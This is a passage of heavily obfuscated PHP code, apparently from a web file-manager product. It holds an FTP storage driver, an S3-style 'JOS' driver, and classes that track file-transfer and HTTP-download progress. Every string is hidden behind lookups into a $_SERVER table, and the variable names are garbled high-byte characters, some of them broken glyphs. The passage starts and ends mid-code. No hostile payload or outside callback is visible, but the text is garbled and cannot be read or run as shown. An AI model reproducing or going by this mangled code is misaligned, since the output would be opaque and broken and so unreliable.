_listItem($Þ€÷¬ÅÔ) { if (empty($Þ€÷¬ÅÔ)) { return array(); } $<24>ÉþŒ°Œ = preg_split($_SERVER[ˆ¡¹µ‹Â][1443], $Þ€÷¬ÅÔ); if (count($<24>ÉþŒ°Œ) <= 9) { return $<24>ÉþŒ°Œ; } $<24>ÉþŒ°Œ[8] = trim(substr($Þ€÷¬ÅÔ, strpos($Þ€÷¬ÅÔ, $<24>ÉþŒ°Œ[7]) + strlen($<24>ÉþŒ°Œ[7]))); return array_splice($<24>ÉþŒ°Œ, 0, 9); } public function listPath($<>¸õçå, $»¯»«Î• = false) { $ï<>ËÄ®í =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->_isconn()) { return !1; } $‹«Ëݺà = $Μ×Ïï± = array(); $this->fileList($<>¸õçå, $‹«Ëݺà, $Μ×Ïï±); foreach ($‹«Ëݺà as $³îœˆí¢ => $ºÏï–ªÂ) { $‹«Ëݺà[$³îœˆí¢] = $this->folderInfo($ºÏï–ªÂ, $»¯»«Î•); } foreach ($Μ×Ïï± as $³îœˆí¢ => $ºÏï–ªÂ) { $Μ×Ïï±[$³îœˆí¢] = $this->fileInfo($ºÏï–ªÂ[$ï<>ËÄ®í[32]], $»¯»«Î•, $ºÏï–ªÂ); } return array($ï<>ËÄ®í[85] => $‹«Ëݺà, $ï<>ËÄ®í[86] => $Μ×Ïï±); } public function has($•Žç´Šó, $Ž•æ¸¯“ = false, $Ôç±ç×Ò = true) { $Û±¢ôµ¼ =& $_SERVER[ˆ¡¹µ‹Â]; $Ѥ·îÒ¼ = $ÁÂäè<C3A4>ù = array(); $õßïÝáÒ = $Ž•æ¸¯“ ? !0 : !1; $this->fileList($•Žç´Šó, $Ѥ·îÒ¼, $ÁÂäè<C3A4>ù, $õßïÝáÒ); if ($Ž•æ¸¯“) { return array($Û±¢ôµ¼[239] => count($ÁÂäè<C3A4>ù), $Û±¢ôµ¼[240] => count($Ѥ·îÒ¼)); } if ($Ôç±ç×Ò) { if (count($ÁÂäè<C3A4>ù)) { return !0; } } else { if (count($Ѥ·îÒ¼)) { return !0; } } return !1; } public function listAll($¹Þ‚¢ëñ) { $«Í¨‘äî =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->_isconn()) { return !1; } $¢—Äñ÷ú = $éû¬ÑÔþ = array(); $this->fileList($¹Þ‚¢ëñ, $¢—Äñ÷ú, $éû¬ÑÔþ, !0); $™§òî«€ = array_to_keyvalue($éû¬ÑÔþ, $«Í¨‘äî[32]); foreach ($¢—Äñ÷ú as $úùŽ·«Ó) { if (is_string($úùŽ·«Ó)) { $™§òî«€[$úùŽ·«Ó] = array($«Í¨‘äî[79] => 0); } } return $this->listAllFiles($¹Þ‚¢ëñ, $™§òî«€); } public function getContent($˶€<C2B6>šë) { if (!$this->_isconn()) { return !1; } $˶€<C2B6>šë = $this->iconvSystem($˶€<C2B6>šë); return $this->fileSubstr($˶€<C2B6>šë); } public function setContent($Ÿ…»¦èÂ, $ýöðªþ  = '') { if (!$this->_isconn()) { return !1; } $¤Á·•é® = $this->pathThis($this->iconvSystem($Ÿ…»¦èÂ)); $ëåš¾ý¤ = $this->tempFile($¤Á·•é®); file_put_contents($ëåš¾ý¤, $ýöðªþ ); $áþü„‡Ÿ = $this->upload($Ÿ…»¦èÂ, $this->iconvApp($ëåš¾ý¤)); $this->tempFileRemve($ëåš¾ý¤); return $áþü„‡Ÿ; } public function fileSubstr($’®¥ö­Ú, $êܳøø = 0, $â뎈èî = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($’®¥ö­Ú, $êܳøø, $â뎈èî); } private function ftpRequest($üÍ¡¹ëÐ, $¯®Ÿè«µ = 0, $»ôåœì½ = false) { $üÍ¡¹ëÐ = $this->iconvSystem($üÍ¡¹ëÐ); $›ô®š÷« = $this->scheme . $this->host . $_SERVER[ˆ¡¹µ‹Â][4] . $this->port; $àß šˆÃ = curl_init(); curl_setopt($àß šˆÃ, CURLOPT_URL, $›ô®š÷« . $this->pathEncode($üÍ¡¹ëÐ)); curl_setopt($àß šˆÃ, CURLOPT_USERPWD, "{$this->username}\x3a{$this->userpass}"); if ($»ôåœì½) { $<24>Ÿ­¾×· = $¯®Ÿè«µ + $»ôåœì½ - 1; curl_setopt($àß šˆÃ, CURLOPT_RANGE, "{$¯®Ÿè«µ}\55{$<24>Ÿ­¾×·}"); } curl_setopt($àß šˆÃ, CURLOPT_RETURNTRANSFER, 1); $ü¨ëµæç = curl_exec($àß šˆÃ); curl_close($àß šˆÃ); return $ü¨ëµæç; } public function upload($÷<>Ç¡ËÒ, $ôÙêùìð, $ó„ç<E2809E>í± = false, $¨ÐÌÍ Ç = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($÷<>Ç¡ËÒ))) { return !1; } $÷<>Ç¡ËÒ = $this->iconvSystem($÷<>Ç¡ËÒ); $ôÙêùìð = $this->iconvSystem($ôÙêùìð); $øöÓÞ¤Æ = ftp_nb_put($this->connect, $÷<>Ç¡ËÒ, $ôÙêùìð, FTP_BINARY); while ($øöÓÞ¤Æ == FTP_MOREDATA) { $øöÓÞ¤Æ = ftp_nb_continue($this->connect); } if ($øöÓÞ¤Æ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[ˆ¡¹µ‹Â][1441], !0); return !1; } return $this->getPathOuter($÷<>Ç¡ËÒ); } public function download($­Ý¸¬Šø, $ñäÇå•Ç = '') { if (!$this->_isconn()) { return !1; } $†…Щ®º = $this->pathFather($ñäÇå•Ç); if (!IO::mkdir($†…Щ®º)) { return !1; } $­Ý¸¬Šø = $this->iconvSystem($­Ý¸¬Šø); $ñäÇå•Ç = $this->iconvSystem($ñäÇå•Ç); $‚ðëýõ© = ftp_nb_get($this->connect, $ñäÇå•Ç, $­Ý¸¬Šø, FTP_BINARY); while ($‚ðëýõ© == FTP_MOREDATA) { $‚ðëýõ© = ftp_nb_continue($this->connect); } if ($‚ðëýõ© != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[ˆ¡¹µ‹Â][1441], !0); return !1; } return $this->iconvApp($ñäÇå•Ç); } public function exist($€ˆÂ<E2809A>Ç) { return $this->isFile($€ˆÂ<E2809A>Ç) || $this->isFolder($€ˆÂ<E2809A>Ç); } public function isFile($ìåù–æë) { return !$this->isFolder($ìåù–æë) && $this->objectMeta($ìåù–æë); } public function isFolder($Ý¢ßî×À) { return $this->cacheMethod($_SERVER[ˆ¡¹µ‹Â][179], $Ý¢ßî×À); } protected function objectMeta($柕ϊ) { return $this->cacheMethod($_SERVER[ˆ¡¹µ‹Â][181], $柕ϊ); } protected function _objectMeta($™ªðŸ÷Ò) { $Ç¿›¨ÈØ =& $_SERVER[ˆ¡¹µ‹Â]; if ($™ªðŸ÷Ò == $Ç¿›¨ÈØ[12] || $™ªðŸ÷Ò == $Ç¿›¨ÈØ[8]) { return array(); } if (!$this->_isconn()) { return !1; } $™ªðŸ÷Ò = $this->iconvSystem($™ªðŸ÷Ò); $œõÄûâ© = array($Ç¿›¨ÈØ[32] => $this->iconvApp($™ªðŸ÷Ò), $Ç¿›¨ÈØ[33] => $Ç¿›¨ÈØ[230], $Ç¿›¨ÈØ[79] => 0); @ftp_chdir($this->connect, $Ç¿›¨ÈØ[8]); $ËÈ®Ú<C2AE>Ë = @ftp_size($this->connect, $™ªðŸ÷Ò); if ($ËÈ®Ú<C2AE>Ë != -1) { $œõÄûâ©[$Ç¿›¨ÈØ[79]] = $ËÈ®Ú<C2AE>Ë; } else { $Äý<C384>þ€¬ = @ftp_chdir($this->connect, $™ªðŸ÷Ò); if (!$Äý<C384>þ€¬) { return !1; } $œõÄûâ©[$Ç¿›¨ÈØ[33]] = $Ç¿›¨ÈØ[78]; } return $œõÄûâ©; } protected function _isFolder($´‚ú¥ìÈ) { $ÃìÔ³¢¯ =& $_SERVER[ˆ¡¹µ‹Â]; if ($´‚ú¥ìÈ == $ÃìÔ³¢¯[12] || $´‚ú¥ìÈ == $ÃìÔ³¢¯[8]) { return !0; } $Ö<>……Þ° = $this->_objectMeta($´‚ú¥ìÈ); return isset($Ö<>……Þ°[$ÃìÔ³¢¯[33]]) && $Ö<>……Þ°[$ÃìÔ³¢¯[33]] == $ÃìÔ³¢¯[78] ? !0 : !1; } } class PathDriverJOS extends PathDriverBaseS3 { public function __construct($åå­òÈâ) { parent::__construct($åå­òÈâ); $this->setSignVersion($_SERVER[ˆ¡¹µ‹Â][247]); } public function uploadLink($ñÅ€Ä×ï, $þÙÌŸ¥ž = 0) { $Ê ‹„Æý =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->isUploadServer()) { return; } $§ÄÒ»…é = $this->getType(); if (!in_array($§ÄÒ»…é, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $Ж‡”’‰ = (!$þÙÌŸ¥ž ? 1 : ceil($þÙÌŸ¥ž / pow(1024, 3))) * 3600 * 4; $ê¤ÞŒã¶ = $this->multiUploadFormData($ñÅ€Ä×ï, $Ж‡”’‰); if ($ê¤ÞŒã¶) { $ê¤ÞŒã¶[$Ê ‹„Æý[97]] = $ñÅ€Ä×ï; $ê¤ÞŒã¶[$Ê ‹„Æý[98]] = $§ÄÒ»…é; } return $ê¤ÞŒã¶; } public function fileOutImage($Âå úÃ…, $寚øè¸ = 250) { if ($this->size($Âå úÃ…) > 1024 * 1024 * 25) { return $this->fileOutImageServer($Âå úÃ…, $寚øè¸); } $Û¹¾Ù²² = $this->link($Âå úÃ…); $Û¹¾Ù²² .= $_SERVER[ˆ¡¹µ‹Â][1444] . $寚øè¸; $this->fileOutLink($Û¹¾Ù²²); } public function fileOutLink($—ìªÓ¤™) { $ÎôãâäÐ =& $_SERVER[ˆ¡¹µ‹Â]; if (substr($—ìªÓ¤™, 0, 7) == $ÎôãâäÐ[313]) { $—ìªÓ¤™ = $ÎôãâäÐ[314] . substr($—ìªÓ¤™, 7); } header($ÎôãâäÐ[175] . $—ìªÓ¤™); die; } } goto E ‡ï<C3AF>ŒÀ; E÷„ï×éƒ: class TaskFileTransfer extends Task { protected function startAfter() { $«¢ÝÒ³<C392> =& $_SERVER[ˆ¡¹µ‹Â]; $¶æ¥éŽ– =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($«¢ÝÒ³<C392>[1793], array($this, $«¢ÝÒ³<C392>[1794])); Hook::bind($«¢ÝÒ³<C392>[1301], array($this, $«¢ÝÒ³<C392>[1795])); Hook::bind($«¢ÝÒ³<C392>[1796], array($this, $«¢ÝÒ³<C392>[1797])); Hook::bind($«¢ÝÒ³<C392>[668], array($this, $«¢ÝÒ³<C392>[1798])); Hook::bind($«¢ÝÒ³<C392>[669], array($this, $«¢ÝÒ³<C392>[1799])); Hook::bind($«¢ÝÒ³<C392>[675], array($this, $«¢ÝÒ³<C392>[1800])); Hook::bind($«¢ÝÒ³<C392>[676], array($this, $«¢ÝÒ³<C392>[1801])); Hook::bind($«¢ÝÒ³<C392>[671], array($this, $«¢ÝÒ³<C392>[1802])); Hook::bind($«¢ÝÒ³<C392>[673], array($this, $«¢ÝÒ³<C392>[1803])); Hook::bind($«¢ÝÒ³<C392>[637], array($this, $«¢ÝÒ³<C392>[1804])); Hook::bind($«¢ÝÒ³<C392>[634], array($this, $«¢ÝÒ³<C392>[1804])); Hook::bind($«¢ÝÒ³<C392>[639], array($this, $«¢ÝÒ³<C392>[1804])); Hook::bind($«¢ÝÒ³<C392>[641], array($this, $«¢ÝÒ³<C392>[1804])); Hook::bind($«¢ÝÒ³<C392>[643], array($this, $«¢ÝÒ³<C392>[1804])); Hook::bind($«¢ÝÒ³<C392>[1805], array($this, $«¢ÝÒ³<C392>[1806])); Hook::bind($«¢ÝÒ³<C392>[659], array($this, $«¢ÝÒ³<C392>[1807])); $this->sourceModelCopyFlag = !1; Hook::bind($«¢ÝÒ³<C392>[1808], array($this, $«¢ÝÒ³<C392>[1809])); Hook::bind($«¢ÝÒ³<C392>[1810], array($this, $«¢ÝÒ³<C392>[1811])); Hook::bind($«¢ÝÒ³<C392>[1812], array($this, $«¢ÝÒ³<C392>[1813])); $¶æ¥éŽ–[$«¢ÝÒ³<C392>[1814]] = LNG($«¢ÝÒ³<C392>[1815]); $¶æ¥éŽ–[$«¢ÝÒ³<C392>[1816]] = 0; $¶æ¥éŽ–[$«¢ÝÒ³<C392>[1817]] = 0; $¶æ¥éŽ–[$«¢ÝÒ³<C392>[1136]] = $«¢ÝÒ³<C392>[12]; $¶æ¥éŽ–[$«¢ÝÒ³<C392>[1818]] = $«¢ÝÒ³<C392>[12]; $¶æ¥éŽ–[$«¢ÝÒ³<C392>[1819]] = 0; $¶æ¥éŽ–[$«¢ÝÒ³<C392>[1820]] = 0; $¶æ¥éŽ–[$«¢ÝÒ³<C392>[1821]] = 0; if (!$¶æ¥éŽ–[$«¢ÝÒ³<C392>[1652]]) { $¶æ¥éŽ–[$«¢ÝÒ³<C392>[1652]] = LNG($«¢ÝÒ³<C392>[1822]); } } protected function endAfter() { $©¥°§±Ô =& $_SERVER[ˆ¡¹µ‹Â]; Hook::unbind($©¥°§±Ô[1793], array($this, $©¥°§±Ô[1794])); Hook::unbind($©¥°§±Ô[1301], array($this, $©¥°§±Ô[1795])); Hook::unbind($©¥°§±Ô[1796], array($this, $©¥°§±Ô[1797])); Hook::unbind($©¥°§±Ô[668], array($this, $©¥°§±Ô[1798])); Hook::unbind($©¥°§±Ô[669], array($this, $©¥°§±Ô[1799])); Hook::unbind($©¥°§±Ô[675], array($this, $©¥°§±Ô[1800])); Hook::unbind($©¥°§±Ô[676], array($this, $©¥°§±Ô[1801])); Hook::unbind($©¥°§±Ô[671], array($this, $©¥°§±Ô[1802])); Hook::unbind($©¥°§±Ô[673], array($this, $©¥°§±Ô[1803])); Hook::unbind($©¥°§±Ô[637], array($this, $©¥°§±Ô[1804])); Hook::unbind($©¥°§±Ô[634], array($this, $©¥°§±Ô[1804])); Hook::unbind($©¥°§±Ô[639], array($this, $©¥°§±Ô[1804])); Hook::unbind($©¥°§±Ô[641], array($this, $©¥°§±Ô[1804])); Hook::unbind($©¥°§±Ô[643], array($this, $©¥°§±Ô[1804])); Hook::unbind($©¥°§±Ô[1805], array($this, $©¥°§±Ô[1806])); Hook::unbind($©¥°§±Ô[659], array($this, $©¥°§±Ô[1807])); Hook::unbind($©¥°§±Ô[1808], array($this, $©¥°§±Ô[1809])); Hook::unbind($©¥°§±Ô[1810], array($this, $©¥°§±Ô[1811])); Hook::unbind($©¥°§±Ô[1812], array($this, $©¥°§±Ô[1813])); } public function copyMoveStart($ƒÞŒ‡Íä, $˺Ŷêâ, $¨<E2809A>ÉÄê, $¡¨ê³úË) { $<24>Ó<EFBFBD>É³Ž =& $_SERVER[ˆ¡¹µ‹Â]; self::log($<24>Ó<EFBFBD>ɳŽ[1823] . $˺Ŷêâ . $<24>Ó<EFBFBD>ɳŽ[73] . $¡¨ê³úË); $ïóøþ¦™ = rtrim(TEMP_FILES, $<24>Ó<EFBFBD>ɳŽ[8]); if (substr($˺Ŷêâ, 0, strlen($ïóøþ¦™)) == $ïóøþ¦™) { return; } if (substr($¡¨ê³úË, 0, strlen($ïóøþ¦™)) == $ïóøþ¦™) { return; } $‚¥­ø¿€ =& $this->task; $‚¥­ø¿€[$<24>Ó<EFBFBD>ɳŽ[1824]] = KodIO::transferType($ƒÞŒ‡Íä, $¨<E2809A>ÉÄê); $this->update(); } public function updateAfter() { $˶ßñ°Ç =& $_SERVER[ˆ¡¹µ‹Â]; $ÝÇÌú<C38C>° =& $this->task; if (!$ÝÇÌú<C38C>°[$˶ßñ°Ç[830]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($ÝÇÌú<C38C>°[$˶ßñ°Ç[1824]] == $˶ßñ°Ç[1394]) { return; } self::updateTask($ÝÇÌú<C38C>°); } private static function updateTask(&$<24>Šýð£ñ) { $ÓŽ÷ =& $_SERVER[ˆ¡¹µ‹Â]; if ($<24>Šýð£ñ[$ÓŽ÷[1824]] == $ÓŽ÷[1272] || $<24>Šýð£ñ[$ÓŽ÷[1824]] == $ÓŽ÷[110]) { if ($<24>Šýð£ñ[$ÓŽ÷[1818]]) { $<24>Šýð£ñ[$ÓŽ÷[1821]] = $<24>Šýð£ñ[$ÓŽ÷[1820]] + $<24>Šýð£ñ[$ÓŽ÷[1817]]; } } else { if ($<24>Šýð£ñ[$ÓŽ÷[1824]] == $ÓŽ÷[1395]) { if ($<24>Šýð£ñ[$ÓŽ÷[1818]] == $ÓŽ÷[1272]) { $<24>Šýð£ñ[$ÓŽ÷[1821]] = $<24>Šýð£ñ[$ÓŽ÷[1820]] + $<24>Šýð£ñ[$ÓŽ÷[1817]] * 0.5; } else { if ($<24>Šýð£ñ[$ÓŽ÷[1818]] == $ÓŽ÷[110]) { $<24>Šýð£ñ[$ÓŽ÷[1821]] = $<24>Šýð£ñ[$ÓŽ÷[1820]] + $<24>Šýð£ñ[$ÓŽ÷[1816]] * 0.5 + $<24>Šýð£ñ[$ÓŽ÷[1817]] * 0.5; } } } } $<24>Šýð£ñ[$ÓŽ÷[1765]] = $<24>Šýð£ñ[$ÓŽ÷[1821]] / $<24>Šýð£ñ[$ÓŽ÷[830]]; if ($<24>Šýð£ñ[$ÓŽ÷[1765]] > 0) { $懔…ªì = timeFloat() - $<24>Šýð£ñ[$ÓŽ÷[1767]] - $<24>Šýð£ñ[$ÓŽ÷[1770]]; $<24>Šýð£ñ[$ÓŽ÷[1771]] = $懔…ªì * (1 - $<24>Šýð£ñ[$ÓŽ÷[1765]]) / $<24>Šýð£ñ[$ÓŽ÷[1765]]; } } public function addPath($Ùëè¿îÅ) { $óþ滨¦ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$Ùëè¿îÅ) { return; } $Äñ‘àï‚ =& $this->task; $å»ó’„¯ = IO::infoWithChildren($Ùëè¿îÅ); $ŽŒ“ø<E2809C>¿ = $Äñ‘àï‚[$óþ滨¦[1825]] ? $Äñ‘àï‚[$óþ滨¦[1825]][$óþ滨¦[1826]] : 0; $Äñ‘àï‚[$óþ滨¦[1825]] = array($óþ滨¦[1826] => $ŽŒ“ø<E2809C>¿ + 1, $óþ滨¦[494] => $å»ó’„¯[$óþ滨¦[32]], $óþ滨¦[87] => $å»ó’„¯[$óþ滨¦[87]], $óþ滨¦[582] => $å»ó’„¯[$óþ滨¦[582]] ? $å»ó’„¯[$óþ滨¦[582]] : $å»ó’„¯[$óþ滨¦[87]]); if ($å»ó’„¯[$óþ滨¦[33]] == $óþ滨¦[230]) { $Äñ‘àï‚[$óþ滨¦[1134]] += 1; } else { $Äñ‘àï‚[$óþ滨¦[1134]] += $å»ó’„¯[$óþ滨¦[82]][$óþ滨¦[80]]; if ($å»ó’„¯[$óþ滨¦[193]]) { $Äñ‘àï‚[$óþ滨¦[1134]] += $å»ó’„¯[$óþ滨¦[82]][$óþ滨¦[81]] + 1; } } $Äñ‘àï‚[$óþ滨¦[830]] += $å»ó’„¯[$óþ滨¦[79]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($š¨•Ä¢Ä) { } public function sourceAddHashEnd($¤Ç¦Ö¦ø) { } public function sourceAddFileStart($枈ժÜ) { $­ãÊø”¶ =& $_SERVER[ˆ¡¹µ‹Â]; $²Á¡Ö•‚ =& $this->task; $²Á¡Ö•‚[$­ãÊø”¶[1816]] = $枈ժÜ[$­ãÊø”¶[79]]; $²Á¡Ö•‚[$­ãÊø”¶[1814]] = $枈ժÜ[$­ãÊø”¶[32]]; $²Á¡Ö•‚[$­ãÊø”¶[1136]] = $枈ժÜ[$­ãÊø”¶[32]]; $²Á¡Ö•‚[$­ãÊø”¶[1827]] = $枈ժÜ[$­ãÊø”¶[87]]; $this->update(); } public function sourceAddFileEnd($<24>˜±Ç) { $ð…Ää‰Å =& $_SERVER[ˆ¡¹µ‹Â]; $¤…Ò½‹‡ =& $this->task; $¤…Ò½‹‡[$ð…Ää‰Å[1821]] += $<24>˜±Ç[$ð…Ää‰Å[79]]; $¤…Ò½‹‡[$ð…Ää‰Å[1827]] = $<24>˜±Ç[$ð…Ää‰Å[87]]; $this->update(1); } public function copyFileStart($˜®Òæ<C392>‡, $´Êà<C38A>ª¾, $ÔÕ·Ú‡¸, $ùÊŽ¬þ«, $Œ¿òËè˜, $üž‘¦å«) { $çÌÍ‹¡ì =& $_SERVER[ˆ¡¹µ‹Â]; $â”ÕàÉ<C3A0> = $Œ¿òËè˜; if ($â”ÕàÉ<C3A0> == $GLOBALS[$çÌÍ‹¡ì[1828]]) { $â”ÕàÉ<C3A0> = $GLOBALS[$çÌÍ‹¡ì[1829]]; } $GLOBALS[$çÌÍ‹¡ì[1829]] = $Œ¿òËè˜; $GLOBALS[$çÌÍ‹¡ì[1828]] = $üž‘¦å«; $ýÑ­÷<C2AD>» =& $this->task; $ýÑ­÷<C2AD>»[$çÌÍ‹¡ì[1814]] = $â”ÕàÉ<C3A0>; $ýÑ­÷<C2AD>»[$çÌÍ‹¡ì[1816]] = (int) $˜®Òæ<C392>‡->size($´Êà<C38A>ª¾); $ýÑ­÷<C2AD>»[$çÌÍ‹¡ì[1817]] = 0; $ýÑ­÷<C2AD>»[$çÌÍ‹¡ì[1136]] = $çÌÍ‹¡ì[12]; $ýÑ­÷<C2AD>»[$çÌÍ‹¡ì[1818]] = $çÌÍ‹¡ì[12]; $ýÑ­÷<C2AD>»[$çÌÍ‹¡ì[1819]] = 0; $ÓÌÒÁûó = $ýÑ­÷<C2AD>»[$çÌÍ‹¡ì[1816]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($ýÑ­÷<C2AD>»[$çÌÍ‹¡ì[475]] . $çÌÍ‹¡ì[1830]); if ($ÓÌÒÁûó && file_exists(get_path_father($ùÊŽ¬þ«))) { Cache::set($ýÑ­÷<C2AD>»[$çÌÍ‹¡ì[475]] . $çÌÍ‹¡ì[1830], $ùÊŽ¬þ«); $ýÑ­÷<C2AD>»[$çÌÍ‹¡ì[1787]] = array($çÌÍ‹¡ì[1831], $çÌÍ‹¡ì[1832]); } $this->update(0, $ÓÌÒÁûó); } public static function updateCopyLocalFileSize($çÁե߽) { $»å¥ª£é =& $_SERVER[ˆ¡¹µ‹Â]; $ÁÕÄè°¾ = Cache::get($çÁե߽[$»å¥ª£é[475]] . $»å¥ª£é[1830]); if (!$ÁÕÄè°¾ || !file_exists($ÁÕÄè°¾)) { return $çÁե߽; } $çÁե߽[$»å¥ª£é[1817]] = @filesize($ÁÕÄè°¾); $çÁե߽[$»å¥ª£é[1821]] += $çÁե߽[$»å¥ª£é[1817]]; self::updateTask($çÁե߽); return $çÁե߽; } public function copyFileEnd($Ø <C398>©´¼, $ùÁÎõ”á, $ºîճػ, $‰÷óôÆÑ, $ñÈ‹™ôÂ, $†–ïέ™) { $Ê⨮߸ =& $_SERVER[ˆ¡¹µ‹Â]; $<24>žÔý»Œ =& $this->task; $<24>žÔý»Œ[$Ê⨮߸[1817]] = $<24>žÔý»Œ[$Ê⨮߸[1816]]; $<24>žÔý»Œ[$Ê⨮߸[1818]] = $Ê⨮߸[12]; unset($<24>žÔý»Œ[$Ê⨮߸[1787]]); if ($ñÈ‹™ô == $<24>žÔý»Œ[$Ê⨮߸[1814]]) { $<24>žÔý»Œ[$Ê⨮߸[1820]] += $<24>žÔý»Œ[$Ê⨮߸[1816]]; $<24>žÔý»Œ[$Ê⨮߸[1821]] = $<24>žÔý»Œ[$Ê⨮߸[1820]]; $—Ó¼ÒÐì = 1; if (isset($<24>žÔý»Œ[$Ê⨮߸[1827]]) && $<24>žÔý»Œ[$Ê⨮߸[1827]] == $ùÁÎõ”á) { $—Ó¼ÒÐì = 0; } $this->update($—Ó¼ÒÐì); } else { $this->update(); $<24>žÔý»Œ[$Ê⨮߸[1817]] = 0; } Cache::remove($<24>žÔý»Œ[$Ê⨮߸[475]] . $Ê⨮߸[1830]); self::log($Ê⨮߸[1833] . $ùÁÎõ”á . $Ê⨮߸[73] . $‰÷óôÆÑ . $Ê⨮߸[262] . $ñÈ‹™ô . $Ê⨮߸[1834] . $<24>žÔý»Œ[$Ê⨮߸[1814]]); } public function updateFileEnd($ö”åãÂÇ, $¨ÎÄ›´ë) { $¡¦†”ù =& $_SERVER[ˆ¡¹µ‹Â]; $É<>Ñ¿é =& $this->task; $É<>Ñ¿é[$¡¦†”ù[1814]] = $ö”åãÂÇ; $É<>Ñ¿é[$¡¦†”ù[1816]] = $¨ÎÄ›´ë; $É<>Ñ¿é[$¡¦†”ù[1820]] += $¨ÎÄ›´ë; $É<>Ñ¿é[$¡¦†”ù[1821]] = $É<>Ñ¿é[$¡¦†”ù[1820]]; $this->update(1); self::log($¡¦†”ù[1835] . $ö”åãÂÇ); } public function sourceModelCopy($•¯ø€€¯) { $®·Ö‘øÛ =& $_SERVER[ˆ¡¹µ‹Â]; $–Øî•¥Ó = $•¯ø€€¯[0]; $èï‡ôˆ½ = $•¯ø€€¯[1]; $„˜÷Ј¨ =& $this->task; $this->sourceModelCopyFlag = !0; $·òôÕÍ„ = 0; switch ($–Øî•¥Ó) { case $®·Ö‘øÛ[635]: $·òôÕÍ„ = 1; break; case $®·Ö‘øÛ[638]: $„˜÷Ј¨[$®·Ö‘øÛ[1814]] = $èï‡ôˆ½[$®·Ö‘øÛ[32]]; break; case $®·Ö‘øÛ[640]: $·òôÕÍ„ = intval($•¯ø€€¯[$®·Ö‘øÛ[456]] * 0.4); break; case $®·Ö‘øÛ[642]: $·òôÕÍ„ = intval($•¯ø€€¯[$®·Ö‘øÛ[456]] * 0.2); break; case $®·Ö‘øÛ[644]: $·òôÕÍ„ = intval($•¯ø€€¯[$®·Ö‘øÛ[456]] * 0.4); break; } $this->update($·òôÕÍ„); $this->sourceModelCopyFlag = !1; } public function sourceRemove($¨ÀÌ<C380>õö, $䧇Эû) { $ÅŠü—´ø =& $_SERVER[ˆ¡¹µ‹Â]; $this->sourceModelCopyFlag = !0; $œ´°‚”¯ = 1; if (isset($¨ÀÌ<C380>õö[$ÅŠü—´ø[82]])) { $œ´°‚”¯ = $¨ÀÌ<C380>õö[$ÅŠü—´ø[82]][$ÅŠü—´ø[80]]; $œ´°‚”¯ = $œ´°‚”¯ + $¨ÀÌ<C380>õö[$ÅŠü—´ø[82]][$ÅŠü—´ø[81]] + 1; } $this->update($œ´°‚”¯); $this->sourceModelCopyFlag = !1; } public function sourceMove($Å¢¤¬ÖÁ) { $this->sourceRemove($Å¢¤¬ÖÁ, !1); } public function curlProgress($óŠäíþü, $èьӆ¬, $<24>üâ´Ô±, $õáüÐ<C3BC>ï, $É‹ùâØý) { $…˜†²Ï® =& $_SERVER[ˆ¡¹µ‹Â]; $΋‘’Åü =& $this->task; if ($É‹ùâØý > 0) { $΋‘’Åü[$…˜†²Ï®[1136]] = $…˜†²Ï®[1836]; $΋‘’Åü[$…˜†²Ï®[1818]] = $…˜†²Ï®[110]; if ($΋‘’Åü[$…˜†²Ï®[1816]]) { $΋‘’Åü[$…˜†²Ï®[1817]] = $É‹ùâØý; } if ($΋‘’Åü[$…˜†²Ï®[1819]]) { $΋‘’Åü[$…˜†²Ï®[1817]] = $É‹ùâØý + $΋‘’Åü[$…˜†²Ï®[1819]]; } } else { if ($<24>üâ´Ô± > 0) { if ($΋‘’Åü[$…˜†²Ï®[1816]] == $èьӆ¬) { $΋‘’Åü[$…˜†²Ï®[1817]] = $<24>üâ´Ô±; $΋‘’Åü[$…˜†²Ï®[1136]] = $…˜†²Ï®[1837]; $΋‘’Åü[$…˜†²Ï®[1818]] = $…˜†²Ï®[1272]; } } } $this->update(); } public function curlProgressStart($¯Ä™ûš¤) { } public function curlProgressEnd($õÝÎþúÏ) { $ùóËý˜ü =& $_SERVER[ˆ¡¹µ‹Â]; $Ɇ¿ÐÚÍ =& $this->task; $¶ê­–¬¤ = curl_getinfo($õÝÎþúÏ); $á´Š§ÕÄ = $¶ê­–¬¤[$ùóËý˜ü[1838]]; if ($á´Š§ÕÄ == -1) { $á´Š§ÕÄ = $¶ê­–¬¤[$ùóËý˜ü[1839]]; } if ($Ɇ¿ÐÚÍ[$ùóËý˜ü[1818]] == $ùóËý˜ü[110] && $á´Š§ÕÄ) { $Ɇ¿ÐÚÍ[$ùóËý˜ü[1819]] += $á´Š§ÕÄ; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $ôüÇ©¢ =& $_SERVER[ˆ¡¹µ‹Â]; $ªÐ»Â¥º =& $this->task; $ªÐ»Â¥º[$ôüÇ©¢[1840]] = 1; Hook::bind($ôüÇ©¢[1808], array($this, $ôüÇ©¢[1841])); Hook::bind($ôüÇ©¢[1810], array($this, $ôüÇ©¢[1842])); Hook::bind($ôüÇ©¢[1812], array($this, $ôüÇ©¢[1843])); } protected function endAfter() { $<24>õþûõ =& $_SERVER[ˆ¡¹µ‹Â]; Hook::unbind($<24>õþûõ[1808], array($this, $<24>õþûõ[1841])); Hook::unbind($<24>õþûõ[1810], array($this, $<24>õþûõ[1842])); Hook::unbind($<24>õþûõ[1812], array($this, $<24>õþûõ[1843])); } public function progressStart($·ú<C2B7>î¨Ï) { $µÁªºŸú =& $_SERVER[ˆ¡¹µ‹Â]; $ÎÕ‚¹š† = curl_getinfo($·ú<C2B7>î¨Ï); self::log($µÁªºŸú[1844] . $ÎÕ‚¹š†[$µÁªºŸú[383]]); self::valueSet($this->task[$µÁªºŸú[475]], $this->task); } public function progressEnd($š™ÁÌÕ ) { $§âǵ¯ª =& $_SERVER[ˆ¡¹µ‹Â]; self::log($§âǵ¯ª[1845] . 